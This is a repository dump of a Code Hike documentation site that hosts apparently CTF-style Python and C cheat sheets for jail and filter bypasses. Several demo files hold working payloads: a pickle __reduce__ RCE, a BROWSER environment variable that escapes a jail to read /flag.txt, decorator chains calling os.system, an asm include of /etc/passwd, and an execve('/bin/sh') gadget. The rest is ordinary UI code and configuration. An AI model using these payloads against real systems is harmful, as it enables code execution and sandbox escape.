5 | --- 6 | 7 | import { CodeWithNotes } from "@/components/code/code-with-notes" 8 | 9 | ## !demo 10 | 11 | 12 | -------------------------------------------------------------------------------- /content/docs/python-cheat-sheet/without-parenthesis.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Without Parenthesis 3 | description: Without Parenthesis 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | import { CodeWithNotes } from "@/components/code/code-with-notes" 8 | 9 | ## !demo 10 | 11 | 12 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/pickle-cheat-sheet/content.md: -------------------------------------------------------------------------------- 1 | ```py -cwn 2 | import pickle 3 | import base64 4 | import os 5 | 6 | class RCE: 7 | def __reduce__(self): 8 | cmd = ('whoami') 9 | return os.system, (cmd,) 10 | 11 | if __name__ == '__main__': 12 | pickled = pickle.dumps(RCE()) 13 | print(base64.urlsafe_b64encode(pickled)) 14 | ``` -------------------------------------------------------------------------------- /demos/tabs/content.mdx: -------------------------------------------------------------------------------- 1 | 2 | 3 | ```js !!tabs main.js 4 | function lorem(ipsum, dolor = 1) { 5 | const sit = ipsum == null ? 0 : ipsum.sit 6 | dolor = sit - amet(dolor) 7 | return sit ? consectetur(ipsum) : [] 8 | } 9 | ``` 10 | 11 | ```css !!tabs styles.css 12 | body { 13 | margin: 0; 14 | padding: 0; 15 | } 16 | ``` 17 | 18 | 19 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/environment-variables/content.md: -------------------------------------------------------------------------------- 1 | ```py -cwn 2 | help.__repr__.__globals__["sys"].modules["os"].environ.__setitem__("PYTHONINSPECT", "1") 3 | help.__repr__.__builtins__["__import__"]('antigravity', help.__repr__.__builtins__["setattr"](help.__repr__.__builtins__["__import__"]('os'),'environ',{}.__class__(BROWSER='/bin/sh -c "cat /flag.txt" #%s'))) 4 | ``` 5 | -------------------------------------------------------------------------------- /demos/token-transitions/content.md: -------------------------------------------------------------------------------- 1 | ```scala 2 | object Main { 3 | def factorial(n: Int): Int = { 4 | if (n == 0) { 5 | return 1 6 | } else { 7 | return n * factorial(n - 1) 8 | } 9 | } 10 | } 11 | ``` 12 | 13 | ```python 14 | def factorial(n): 15 | if n == 0: 16 | return 1 17 | else: 18 | return n * factorial(n - 1) 19 | ``` 20 | -------------------------------------------------------------------------------- /demos/hover/content.mdx: -------------------------------------------------------------------------------- 1 | 2 | 3 | The [base case](hover:one) returns 1. 4 | 5 | ```cpp 6 | int factorial(int n) { 7 | if (n == 0) { 8 | // !hover one 9 | return 1; 10 | } else { 11 | // !hover two 12 | return n * factorial(n - 1); 13 | } 14 | } 15 | ``` 16 | 17 | The [recursive case](hover:two) multiplies something. 18 | 19 | 20 | -------------------------------------------------------------------------------- /demos/token-transitions/content.mdx: -------------------------------------------------------------------------------- 1 | ```scala !! 2 | object Main { 3 | def factorial(n: Int): Int = { 4 | if (n == 0) { 5 | return 1 6 | } else { 7 | return n * factorial(n - 1) 8 | } 9 | } 10 | } 11 | ``` 12 | 13 | ```python !! 14 | def factorial(n): 15 | if n == 0: 16 | return 1 17 | else: 18 | return n * factorial(n - 1) 19 | ``` 20 | -------------------------------------------------------------------------------- /mdx-components.tsx: -------------------------------------------------------------------------------- 1 | import type { MDXComponents } from "mdx/types" 2 | import defaultComponents from "next-docs-ui/mdx/default" 3 | import { Code, InlineCode } from "./components/code" 4 | 5 | export function useMDXComponents(components: MDXComponents): MDXComponents { 6 | return { 7 | ...defaultComponents, 8 | ...components, 9 | Code, 10 | InlineCode, 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /components/annotations/token-transitions.tsx: -------------------------------------------------------------------------------- 1 | import { AnnotationHandler, InnerToken } from "codehike/code" 2 | import { PreWithRef } from "./token-transitions.client" 3 | 4 | export const tokenTransitions: AnnotationHandler = { 5 | name: "token-transitions", 6 | PreWithRef, 7 | Token: (props) => ( 8 | 9 | ), 10 | } 11 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # deps 2 | /node_modules 3 | 4 | # generated content 5 | .map.ts 6 | .contentlayer 7 | 8 | # test & build 9 | /coverage 10 | /.next/ 11 | /out/ 12 | /build 13 | *.tsbuildinfo 14 | 15 | # misc 16 | .DS_Store 17 | *.pem 18 | /.pnp 19 | .pnp.js 20 | npm-debug.log* 21 | yarn-debug.log* 22 | yarn-error.log* 23 | 24 | # others 25 | .env*.local 26 | .vercel 27 | next-env.d.ts 28 | 29 | test/ -------------------------------------------------------------------------------- /app/test/page.tsx: -------------------------------------------------------------------------------- 1 | import { LatestSponsor } from "../landing/sponsors" 2 | import Content from "./content.md" 3 | import { Code } from "@/components/code" 4 | 5 | export default function Page() { 6 | return ( 7 |
8 |
{new Date().toString()}
9 | 10 | 11 |
12 | ) 13 | } 14 | -------------------------------------------------------------------------------- /components/ui/collapsible.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | 3 | import * as CollapsiblePrimitive from "@radix-ui/react-collapsible" 4 | 5 | const Collapsible = CollapsiblePrimitive.Root 6 | 7 | const CollapsibleTrigger = CollapsiblePrimitive.CollapsibleTrigger 8 | 9 | const CollapsibleContent = CollapsiblePrimitive.CollapsibleContent 10 | 11 | export { Collapsible, CollapsibleTrigger, CollapsibleContent } 12 | -------------------------------------------------------------------------------- /demos/c-cheat-sheet/asm-tricks/content.md: -------------------------------------------------------------------------------- 1 | ```c -cwn 2 | #include 3 | #include 4 | 5 | __asm ( 6 | ".section .rodata\n" 7 | "nop\n" 8 | ".incbin \"/etc/passwd\"\n" 9 | ); 10 | 11 | int main() { 12 | return 0; 13 | } 14 | 15 | // without main in c but in asm 16 | #include 17 | asm(".global main;main:leaq h(%rip),%rdi;call puts;retq"); 18 | char h[] = "Hello, World!"; 19 | ``` -------------------------------------------------------------------------------- /demos/slideshow/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "trailingComma": "all", 3 | "semi": false, 4 | "overrides": [ 5 | { 6 | "files": ["*.md"], 7 | "options": { 8 | "printWidth": 42, 9 | "semi": false 10 | } 11 | }, 12 | { 13 | "files": ["*.tsx"], 14 | "options": { 15 | "printWidth": 60, 16 | "semi": false 17 | } 18 | } 19 | ] 20 | } 21 | -------------------------------------------------------------------------------- /demos/spotlight/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "trailingComma": "all", 3 | "semi": false, 4 | "overrides": [ 5 | { 6 | "files": ["*.md"], 7 | "options": { 8 | "printWidth": 42, 9 | "semi": false 10 | } 11 | }, 12 | { 13 | "files": ["*.tsx"], 14 | "options": { 15 | "printWidth": 60, 16 | "semi": false 17 | } 18 | } 19 | ] 20 | } 21 | -------------------------------------------------------------------------------- /components/annotations/link.tsx: -------------------------------------------------------------------------------- 1 | import { AnnotationHandler } from "codehike/code" 2 | import Link from "next/link" 3 | 4 | export const link: AnnotationHandler = { 5 | name: "link", 6 | Inline: ({ annotation, children }) => { 7 | const { query } = annotation 8 | 9 | return ( 10 | 11 | {children} 12 | 13 | ) 14 | }, 15 | } 16 | -------------------------------------------------------------------------------- /content/components/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "trailingComma": "all", 3 | "semi": false, 4 | "overrides": [ 5 | { 6 | "files": ["*.mdx"], 7 | "options": { 8 | "printWidth": 42, 9 | "semi": false 10 | } 11 | }, 12 | { 13 | "files": ["*.tsx"], 14 | "options": { 15 | "printWidth": 60, 16 | "semi": false 17 | } 18 | } 19 | ] 20 | } 21 | -------------------------------------------------------------------------------- /demos/annotations/regex/content.md: -------------------------------------------------------------------------------- 1 | ```js 2 | // !border[/ipsum/] yellow 3 | const lorem = ipsum == null ? ipsum : 1 4 | // !border[/dolor/g] lime 5 | dolor = lorem - sit(dolor) 6 | let amet = dolor ? consectetur(ipsum) : 3 7 | ``` 8 | 9 | ```js 10 | // !border[/ipsum/gm] orange 11 | const lorem = ipsum == null ? ipsum : 1 12 | dolor = lorem - sit(dolor) 13 | let amet = dolor ? consectetur(ipsum) : 3 14 | ``` 15 | -------------------------------------------------------------------------------- /demos/api-reference/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "trailingComma": "all", 3 | "semi": false, 4 | "overrides": [ 5 | { 6 | "files": ["*.md"], 7 | "options": { 8 | "printWidth": 42, 9 | "semi": false 10 | } 11 | }, 12 | { 13 | "files": ["*.tsx"], 14 | "options": { 15 | "printWidth": 60, 16 | "semi": false 17 | } 18 | } 19 | ] 20 | } 21 | -------------------------------------------------------------------------------- /demos/scrollycoding/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "trailingComma": "all", 3 | "semi": false, 4 | "overrides": [ 5 | { 6 | "files": ["*.md"], 7 | "options": { 8 | "printWidth": 42, 9 | "semi": false 10 | } 11 | }, 12 | { 13 | "files": ["*.tsx"], 14 | "options": { 15 | "printWidth": 60, 16 | "semi": false 17 | } 18 | } 19 | ] 20 | } 21 | -------------------------------------------------------------------------------- /demos/collapse/content.md: -------------------------------------------------------------------------------- 1 | ```js 2 | // !collapse(1:4) 3 | function lorem(ipsum, dolor = 1) { 4 | const sit = ipsum == null ? 0 : 1 5 | dolor = sit - amet(dolor) 6 | return sit ? consectetur(ipsum) : [] 7 | } 8 | 9 | // !collapse(1:4) collapsed 10 | function ipsum(ipsum, dolor = 1) { 11 | const sit = ipsum == null ? 0 : 1 12 | dolor = sit - amet(dolor) 13 | return sit ? consectetur(ipsum) : [] 14 | } 15 | ``` 16 | -------------------------------------------------------------------------------- /components.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://ui.shadcn.com/schema.json", 3 | "style": "default", 4 | "rsc": true, 5 | "tsx": true, 6 | "tailwind": { 7 | "config": "tailwind.config.ts", 8 | "css": "app/global.css", 9 | "baseColor": "zinc", 10 | "cssVariables": false, 11 | "prefix": "" 12 | }, 13 | "aliases": { 14 | "components": "@/components", 15 | "utils": "@/lib/utils" 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /demos/focus/page.tsx: -------------------------------------------------------------------------------- 1 | import { RawCode, highlight } from "codehike/code" 2 | import Content from "./content.md" 3 | import { CodeContainer } from "./code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const info = await highlight(codeblock, "github-dark") 11 | return 12 | } 13 | -------------------------------------------------------------------------------- /content/components/api-reference/collapsible.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | import * as CollapsiblePrimitive from "@radix-ui/react-collapsible" 3 | 4 | const Collapsible = CollapsiblePrimitive.Root 5 | const CollapsibleTrigger = 6 | CollapsiblePrimitive.CollapsibleTrigger 7 | const CollapsibleContent = 8 | CollapsiblePrimitive.CollapsibleContent 9 | 10 | export { 11 | Collapsible, 12 | CollapsibleTrigger, 13 | CollapsibleContent, 14 | } 15 | -------------------------------------------------------------------------------- /content/blog/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "trailingComma": "all", 3 | "semi": false, 4 | "overrides": [ 5 | { 6 | "files": ["remotion.mdx", "fine-grained-markdown.mdx"], 7 | "options": { 8 | "printWidth": 42, 9 | "semi": false 10 | } 11 | }, 12 | 13 | { 14 | "files": ["v1.mdx"], 15 | "options": { 16 | "printWidth": 52, 17 | "semi": false 18 | } 19 | } 20 | ] 21 | } 22 | -------------------------------------------------------------------------------- /demos/occurrences/page.tsx: -------------------------------------------------------------------------------- 1 | import { RawCode, Pre, highlight } from "codehike/code" 2 | import Content from "./content.md" 3 | import { CodeWithOccurrences } from "./code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const info = await highlight(codeblock, "github-dark") 11 | return 12 | } 13 | -------------------------------------------------------------------------------- /demos/fold/annotations.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | 3 | import { AnnotationHandler } from "codehike/code" 4 | import { useState } from "react" 5 | 6 | export const InlineFold: AnnotationHandler["Inline"] = ({ children }) => { 7 | const [folded, setFolded] = useState(true) 8 | if (!folded) { 9 | return children 10 | } 11 | return ( 12 | 15 | ) 16 | } 17 | -------------------------------------------------------------------------------- /demos/focus/content.md: -------------------------------------------------------------------------------- 1 | ```js 2 | function lorem(ipsum, dolor = 1) { 3 | const sit = ipsum == null ? 0 : ipsum.sit 4 | dolor = sit - amet(dolor) 5 | return sit ? consectetur(ipsum) : [] 6 | } 7 | 8 | function ipsum(ipsum, dolor = 1) { 9 | return dolor 10 | } 11 | 12 | // !focus(1:5) 13 | function dolor(ipsum, dolor = 1) { 14 | const sit = ipsum == null ? 0 : ipsum.sit 15 | dolor = sit - amet(dolor) 16 | return sit ? consectetur(ipsum) : [] 17 | } 18 | ``` 19 | -------------------------------------------------------------------------------- /content/docs/python-cheat-sheet/pickle.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Pickle 3 | description: Pickle 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | import { CodeWithNotes } from "@/components/code/code-with-notes" 8 | 9 | ## !demo 10 | 11 | 12 | 13 | ## With only one global 14 | 15 | 16 | -------------------------------------------------------------------------------- /demos/c-cheat-sheet/trigraphs/content.md: -------------------------------------------------------------------------------- 1 | ```c -cwn 2 | /* 3 | Trigraphs: 4 | ??= : # 5 | ??/ : \ 6 | ??' : ^ 7 | ??( : [ 8 | ??) : ] 9 | ??! : | 10 | ??< : { 11 | ??> : } 12 | ??- : ~ 13 | 14 | Note: Les trigraphes nécessitent le flag -trigraphs avec GCC 15 | (par défaut désactivés depuis GCC 4.7+) 16 | */ 17 | 18 | ??=include 19 | 20 | int main() 21 | ??< 22 | char s??(??) = "I love Digraphs! Thx MisTrale"; 23 | puts(s); 24 | return 0; 25 | ??> 26 | ``` -------------------------------------------------------------------------------- /demos/c-cheat-sheet/without-parenthese/content.md: -------------------------------------------------------------------------------- 1 | ```c -cwn 2 | int main(void) 3 | { 4 | static char place; 5 | static char* sh = "/bin/sh"; 6 | long long gadget = 0x050F5A5E5F3BB0; 7 | 8 | // syscall(0x3b, "/bin/sh", NULL, NULL) 9 | char *buf[0]; 10 | buf[0] = buf[0]; 11 | buf[2] = &place - 0x2eda; // Ajustez cette valeur pour obtenir la bonne adresse 12 | buf[3] = sh; 13 | buf[4] = 0; 14 | buf[5] = 0; 15 | 16 | return 0; 17 | } 18 | ``` 19 | -------------------------------------------------------------------------------- /app/top-sponsors.png/route.tsx: -------------------------------------------------------------------------------- 1 | import { ImageResponse } from "next/og" 2 | 3 | export const dynamic = "force-static" 4 | 5 | export async function GET(request: Request) { 6 | return new ImageResponse( 7 | ( 8 |
9 | hello, world 10 | 11 |
12 | ), 13 | { 14 | width: 600, 15 | height: 400, 16 | }, 17 | ) 18 | } 19 | -------------------------------------------------------------------------------- /app/api/revalidate/sponsors/route.ts: -------------------------------------------------------------------------------- 1 | import { revalidatePath } from "next/cache" 2 | 3 | export async function POST(request: Request) { 4 | try { 5 | const text = await request.text() 6 | console.log("[GitHub] Webhook received", text) 7 | 8 | revalidatePath("/") 9 | } catch (error: any) { 10 | return new Response(`Webhook error: ${error.message}`, { 11 | status: 400, 12 | }) 13 | } 14 | 15 | return new Response("Success!", { 16 | status: 200, 17 | }) 18 | } 19 | -------------------------------------------------------------------------------- /app/api/revalidate/test/route.ts: -------------------------------------------------------------------------------- 1 | import { revalidatePath } from "next/cache" 2 | 3 | export async function POST(request: Request) { 4 | try { 5 | const text = await request.text() 6 | console.log("[GitHub] Webhook received", text) 7 | 8 | revalidatePath("/test") 9 | } catch (error: any) { 10 | return new Response(`Webhook error: ${error.message}`, { 11 | status: 400, 12 | }) 13 | } 14 | 15 | return new Response("Success!", { 16 | status: 200, 17 | }) 18 | } 19 | -------------------------------------------------------------------------------- /components/annotations/focus.tsx: -------------------------------------------------------------------------------- 1 | import { AnnotationHandler, InnerLine } from "codehike/code" 2 | import { PreWithRef } from "./focus.client" 3 | 4 | export const focus: AnnotationHandler = { 5 | name: "focus", 6 | PreWithRef, 7 | onlyIfAnnotated: true, 8 | Line: (props) => ( 9 | 10 | ), 11 | AnnotatedLine: ({ annotation, ...props }) => ( 12 | 13 | ), 14 | } 15 | -------------------------------------------------------------------------------- /app/docs/layout.tsx: -------------------------------------------------------------------------------- 1 | import { docs } from "../source" 2 | import { DocsLayout } from "next-docs-ui/layout" 3 | import type { ReactNode } from "react" 4 | export default function RootDocsLayout({ children }: { children: ReactNode }) { 5 | return ( 6 | <> 7 | 14 | {children} 15 | 16 | 17 | ) 18 | } 19 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/create-digits/content.md: -------------------------------------------------------------------------------- 1 | ```py -cwn 2 | print(10) 3 | 4 | print(True + True + True + True + True + True + True + True + True + True) 5 | print((()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())+(()==()+()==())) # work also with [] & {} & ... 6 | print(((()==())<<(()==())<<(()==())<<(()==()))|((()==())<<(()==()))) # ((1<<1<<1<<1) | (1<<1)) = 8 | 2 = 10 7 | print(len(str(...))+str(())) 8 | ``` 9 | -------------------------------------------------------------------------------- /demos/language-switcher/page.tsx: -------------------------------------------------------------------------------- 1 | import { RawCode, highlight } from "codehike/code" 2 | import Content from "./content.mdx" 3 | 4 | import { Code } from "./multi-code" 5 | 6 | export default function Page() { 7 | return 8 | } 9 | 10 | async function CodeSwitcher(props: { code: RawCode[] }) { 11 | const highlighted = await Promise.all( 12 | props.code.map((codeblock) => highlight(codeblock, "github-dark")), 13 | ) 14 | return 15 | } 16 | -------------------------------------------------------------------------------- /content/docs/TEMPLATES/index.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Templates 3 | description: Templates 4 | layout: Templates 5 | --- 6 | 7 | import { DocumentNotice } from "@/components/document-notice" 8 | 9 | 10 | This document will be continuously updated with the latest features and improvements. You can 11 | contribute to the project 12 | if you find any issues or have any suggestions. 13 | 14 | -------------------------------------------------------------------------------- /components/document-notice.tsx: -------------------------------------------------------------------------------- 1 | import { ReactNode } from "react"; 2 | 3 | interface DocumentNoticeProps { 4 | title?: string; 5 | children: ReactNode; 6 | } 7 | 8 | export function DocumentNotice({ 9 | title, 10 | children 11 | }: DocumentNoticeProps) { 12 | const displayTitle = title; 13 | 14 | return ( 15 |
16 | {displayTitle}: {children} 17 |
18 | ); 19 | } 20 | -------------------------------------------------------------------------------- /content/docs/python-cheat-sheet/bypass-commentary.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Bypass Commentary 3 | description: Bypass Commentary 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | import { CodeWithNotes } from "@/components/code/code-with-notes" 8 | 9 | ## !demo 10 | 11 | ### ding:hz and ~ 12 | 13 | 14 | 15 | ## zip confusion 16 | 17 | 18 | -------------------------------------------------------------------------------- /content/docs/c-cheat-sheet/index.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: C Cheat Sheets 3 | description: C Cheat sheets 4 | layout: CCheatSheet 5 | --- 6 | 7 | import { DocumentNotice } from "@/components/document-notice" 8 | 9 | 10 | This document will be continuously updated with the latest features and improvements. You can 11 | contribute to the project 12 | if you find any issues or have any suggestions. 13 | 14 | -------------------------------------------------------------------------------- /app/api/search/route.ts: -------------------------------------------------------------------------------- 1 | // Pour l'export statique (GitHub Pages), on retourne une réponse statique 2 | // car GitHub Pages ne supporte pas les routes API dynamiques 3 | export const dynamic = 'force-static' 4 | 5 | export async function GET() { 6 | // Retourner une réponse statique pour l'export 7 | // Cette route sera pré-rendue comme une page statique 8 | return new Response(JSON.stringify({ error: 'Search API not available in static export' }), { 9 | status: 404, 10 | headers: { 'Content-Type': 'application/json' }, 11 | }) 12 | } 13 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/decorators/content.md: -------------------------------------------------------------------------------- 1 | ```py -cwn 2 | @exec 3 | @input 4 | # !callout[/def/] Can be class 5 | def a():pass 6 | 7 | for 𝘱𝘢𝘵𝘩 in {lambda _: "flag.txt"}: 8 | @print 9 | @list 10 | @open 11 | @path 12 | class z: 13 | pass 14 | 15 | @__import__("os").system 16 | @input 17 | class _: pass 18 | 19 | @eval 20 | @'__import__\x28"os"\x29.system\x28"whoami"\x29'.format 21 | class _:pass 22 | 23 | # can be chained with \r 24 | @print\\r@set\\r@open\\r@input\\rclass\\x0ca:pass 25 | ``` -------------------------------------------------------------------------------- /content/docs/python-cheat-sheet/index.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Python Cheat Sheets 3 | description: Python Cheat sheets 4 | layout: PythonCheatSheet 5 | --- 6 | 7 | import { DocumentNotice } from "@/components/document-notice" 8 | 9 | 10 | This document will be continuously updated with the latest features and improvements. You can 11 | contribute to the project 12 | if you find any issues or have any suggestions. 13 | 14 | -------------------------------------------------------------------------------- /content/docs/test.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Components 3 | description: Components 4 | --- 5 | 6 | ## Code Block 7 | 8 | ```mdx 9 | import { Hike } from "codehike" 10 | import { MyLayout } from "./my-layout.tsx" 11 | 12 | 13 | 14 | # !main Hello World 15 | 16 | Something 17 | 18 | 19 | ``` 20 | 21 | ## Cards 22 | 23 | 24 | 25 | 29 | 30 | -------------------------------------------------------------------------------- /demos/focus/focus.tsx: -------------------------------------------------------------------------------- 1 | import { AnnotationHandler, InnerLine } from "codehike/code" 2 | import { PreWithFocus } from "./focus.client" 3 | 4 | export const focus: AnnotationHandler = { 5 | name: "focus", 6 | onlyIfAnnotated: true, 7 | PreWithRef: PreWithFocus, 8 | Line: (props) => ( 9 | 13 | ), 14 | AnnotatedLine: ({ annotation, ...props }) => ( 15 | 16 | ), 17 | } 18 | -------------------------------------------------------------------------------- /content/docs/c-cheat-sheet/good-to-know.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Good To Know 3 | description: Good To Know 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | import { CodeWithNotes } from "@/components/code/code-with-notes" 8 | 9 | ## !demo 10 | 11 | 12 | 13 | ## Create char & strings 14 | 15 | 16 | 17 | ## Create int 18 | 19 | 20 | -------------------------------------------------------------------------------- /components/annotations/line-numbers.tsx: -------------------------------------------------------------------------------- 1 | import { AnnotationHandler, InnerLine } from "codehike/code" 2 | 3 | export const lineNumbers: AnnotationHandler = { 4 | name: "line-numbers", 5 | Line: (props) => { 6 | const width = props.totalLines.toString().length + 1 7 | return ( 8 | <> 9 | 13 | {props.lineNumber} 14 | 15 | 16 | 17 | ) 18 | }, 19 | } 20 | -------------------------------------------------------------------------------- /content/docs/c-cheat-sheet/bypass-symbols.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Bypass Symbols 3 | description: Bypass Symbols 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | import { CodeWithNotes } from "@/components/code/code-with-notes" 8 | 9 | ## !demo 10 | 11 | ## Diagraphs 12 | 13 | 14 | 15 | ## Trigraphs 16 | 17 | 18 | 19 | ## Main Without `-{}#%>?!` 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /demos/token-transitions/page.tsx: -------------------------------------------------------------------------------- 1 | import { highlight } from "codehike/code" 2 | import Content from "./content.mdx" 3 | import { CodeSwitcher } from "./code" 4 | import { Block, CodeBlock, parseRoot } from "codehike/blocks" 5 | import { z } from "zod" 6 | 7 | export default async function Page() { 8 | const { code } = parseRoot( 9 | Content, 10 | Block.extend({ code: z.array(CodeBlock) }), 11 | ) 12 | 13 | const infos = await Promise.all( 14 | code.map((codeblock: any) => highlight(codeblock, "github-dark")), 15 | ) 16 | return 17 | } 18 | -------------------------------------------------------------------------------- /content/docs/python-cheat-sheet/good-to-know.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Good to know 3 | description: Good to know 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | import { CodeWithNotes } from "@/components/code/code-with-notes" 8 | 9 | ## !demo 10 | 11 | 12 | 13 | ## Create char & strings 14 | 15 | 16 | 17 | ## Create digits 18 | 19 | -------------------------------------------------------------------------------- /app/not-found.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | import { usePathname } from "next/navigation" 3 | 4 | export default function NotFound() { 5 | const pathname = usePathname() 6 | const v0url = "v0.codehike.org" + pathname 7 | return ( 8 |
9 |

Page not found.

10 |

11 | For older versions try:{" "} 12 | 13 | {v0url} 14 | 15 |

16 |
17 | ) 18 | } 19 | -------------------------------------------------------------------------------- /content/docs/python-cheat-sheet/environment-variables.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Environment Variables 3 | description: Environment Variables 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | import { CodeWithNotes } from "@/components/code/code-with-notes" 8 | 9 | ## !demo 10 | 11 | With this following environment variables, we can bypass the parenthesis and execute the code. 12 | 13 | - `PYTHONINSPECT` 14 | - `BROWSER` 15 | - `PYTHONHOME` 16 | - `PYTHONPATH` 17 | - `PYTHONWARNINGS` 18 | 19 | 20 | -------------------------------------------------------------------------------- /demos/copy-button/page.tsx: -------------------------------------------------------------------------------- 1 | import { Pre, RawCode, highlight } from "codehike/code" 2 | import Content from "./content.md" 3 | import { CopyButton } from "./button" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | 12 | return ( 13 |
14 | 15 |
16 |     
17 | ) 18 | } 19 | -------------------------------------------------------------------------------- /demos/fold/page.tsx: -------------------------------------------------------------------------------- 1 | import { RawCode, Pre, highlight, AnnotationHandler } from "codehike/code" 2 | import Content from "./content.md" 3 | import { InlineFold } from "./annotations" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const info = await highlight(codeblock, "github-dark") 11 | 12 | return
13 | }
14 | 
15 | export const fold: AnnotationHandler = {
16 |   name: "fold",
17 |   Inline: InlineFold,
18 | }
19 | 


--------------------------------------------------------------------------------
/app/docs/[[...slug]]/code-example.tsx:
--------------------------------------------------------------------------------
 1 | import { Block, parseRoot } from "codehike/blocks"
 2 | import React from "react"
 3 | 
 4 | const ContentSchema = Block.extend({})
 5 | 
 6 | export function CodeExample({ MDX }: { MDX: any }) {
 7 |   const { children } = parseRoot(MDX, ContentSchema, {
 8 |     components: { PreviewContainer },
 9 |   })
10 | 
11 |   return children
12 | }
13 | 
14 | function PreviewContainer({ children }: { children: React.ReactNode }) {
15 |   return (
16 |     
17 | {children} 18 |
19 | ) 20 | } 21 | -------------------------------------------------------------------------------- /components/annotations/fold.client.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | 3 | import { AnnotationHandler } from "codehike/code" 4 | import { useState } from "react" 5 | 6 | export const InlineFold: AnnotationHandler["Inline"] = ({ 7 | annotation, 8 | children, 9 | }) => { 10 | const [folded, setFolded] = useState(true) 11 | if (!folded) { 12 | return children 13 | } 14 | return ( 15 | 23 | ) 24 | } 25 | -------------------------------------------------------------------------------- /demos/filename/page.tsx: -------------------------------------------------------------------------------- 1 | import { RawCode, Pre, highlight } from "codehike/code" 2 | import Content from "./content.md" 3 | 4 | export default function Page() { 5 | return 6 | } 7 | 8 | async function Code({ codeblock }: { codeblock: RawCode }) { 9 | const highlighted = await highlight(codeblock, "github-dark") 10 | return ( 11 |
12 |
13 | {highlighted.meta} 14 |
15 |
16 |     
17 | ) 18 | } 19 | -------------------------------------------------------------------------------- /components/providers/app-provider.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | 3 | import type { ReactNode } from "react" 4 | import dynamic from "next/dynamic" 5 | import { RootProvider } from "next-docs-ui/provider" 6 | 7 | const LocalSearchDialog = dynamic(() => import("@/components/search/local-search-dialog"), { 8 | ssr: false, 9 | }) 10 | 11 | type AppProvidersProps = { 12 | children: ReactNode 13 | } 14 | 15 | export function AppProviders({ children }: AppProvidersProps) { 16 | return ( 17 | 22 | {children} 23 | 24 | ) 25 | } 26 | 27 | -------------------------------------------------------------------------------- /demos/tooltip/content.mdx: -------------------------------------------------------------------------------- 1 | 2 | 3 | ```js !code 4 | // !tooltip[/lorem/] description 5 | function lorem(ipsum, dolor = 1) { 6 | const sit = ipsum == null ? 0 : ipsum.sit 7 | dolor = sit - amet(dolor) 8 | // !tooltip[/consectetur/] inspect 9 | return sit ? consectetur(ipsum) : [] 10 | } 11 | ``` 12 | 13 | ## !!tooltips description 14 | 15 | ### Hello world 16 | 17 | Lorem ipsum **dolor** sit amet `consectetur`. 18 | 19 | Adipiscing elit _sed_ do eiusmod. 20 | 21 | ## !!tooltips inspect 22 | 23 | ```js 24 | function consectetur(ipsum) { 25 | const { a, b } = ipsum 26 | return a + b 27 | } 28 | ``` 29 | 30 | 31 | -------------------------------------------------------------------------------- /components/annotations/diff.tsx: -------------------------------------------------------------------------------- 1 | import { AnnotationHandler, InnerLine, BlockAnnotation } from "codehike/code" 2 | 3 | export const diff: AnnotationHandler = { 4 | name: "diff", 5 | onlyIfAnnotated: true, 6 | transform: (annotation: BlockAnnotation) => { 7 | const color = annotation.query == "-" ? "#f85149" : "#3fb950" 8 | return [annotation, { ...annotation, name: "mark", query: color }] 9 | }, 10 | Line: ({ annotation, ...props }) => ( 11 | <> 12 |
13 | {annotation?.query} 14 |
